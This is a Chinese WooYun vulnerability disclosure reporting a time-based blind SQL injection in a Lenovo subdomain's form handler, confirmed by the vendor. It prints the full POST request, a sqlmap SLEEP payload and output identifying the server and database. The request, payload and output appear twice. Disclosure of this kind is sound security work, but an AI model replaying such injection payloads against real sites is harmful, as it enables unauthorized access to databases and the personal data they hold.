当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0119810

漏洞标题：联想某站存在SQL注入

相关厂商：联想

漏洞作者： missy

提交时间：2015-06-11 17:57

修复时间：2015-07-27 10:18

公开时间：2015-07-27 10:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-11： 细节已通知厂商并且等待厂商处理中
2015-06-12： 厂商已经确认，细节仅向厂商公开
2015-06-22： 细节向核心白帽子及相关领域专家公开
2015-07-02： 细节向普通白帽子公开
2015-07-12： 细节向实习白帽子公开
2015-07-27： 细节向公众公开

简要描述：

伐木累

详细说明：

http://rel.lenovo.com.cn/zhaoyang/gmyx.html


POST注入：

POST /zhaoyang/edm/add.php HTTP/1.1
Host: rel.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905
Connection: keep-alive
Referer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swf
Content-type: application/x-www-form-urlencoded
Content-Length: 192
titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111


参数：titleStr


1.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: titleStr (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=111111111@qq.com&buyNum=1&nameStr=111111
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24
back-end DBMS: MySQL 5.0.12
current database: 'survey'

漏洞证明：

http://rel.lenovo.com.cn/zhaoyang/gmyx.html


POST注入：

POST /zhaoyang/edm/add.php HTTP/1.1
Host: rel.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905
Connection: keep-alive
Referer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swf
Content-type: application/x-www-form-urlencoded
Content-Length: 192
titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111


参数：titleStr


1.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: titleStr (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=111111111@qq.com&buyNum=1&nameStr=111111
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24
back-end DBMS: MySQL 5.0.12
current database: 'survey'

修复方案：

过滤

版权声明：转载请注明来源 missy@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-06-12 10:16

厂商回复：

感谢您对联想信息安全工作的关注与支持！
联想于2015年4月启用安全应急响应中心（LSRC），欢迎大家向我们反馈联想产品、服务和业务系统的安全漏洞，以帮助我们提升产品和业务的安全性。相关细则请登录安全应急响应中心站点(http://lsrc点lenovo点com )

最新状态：

暂无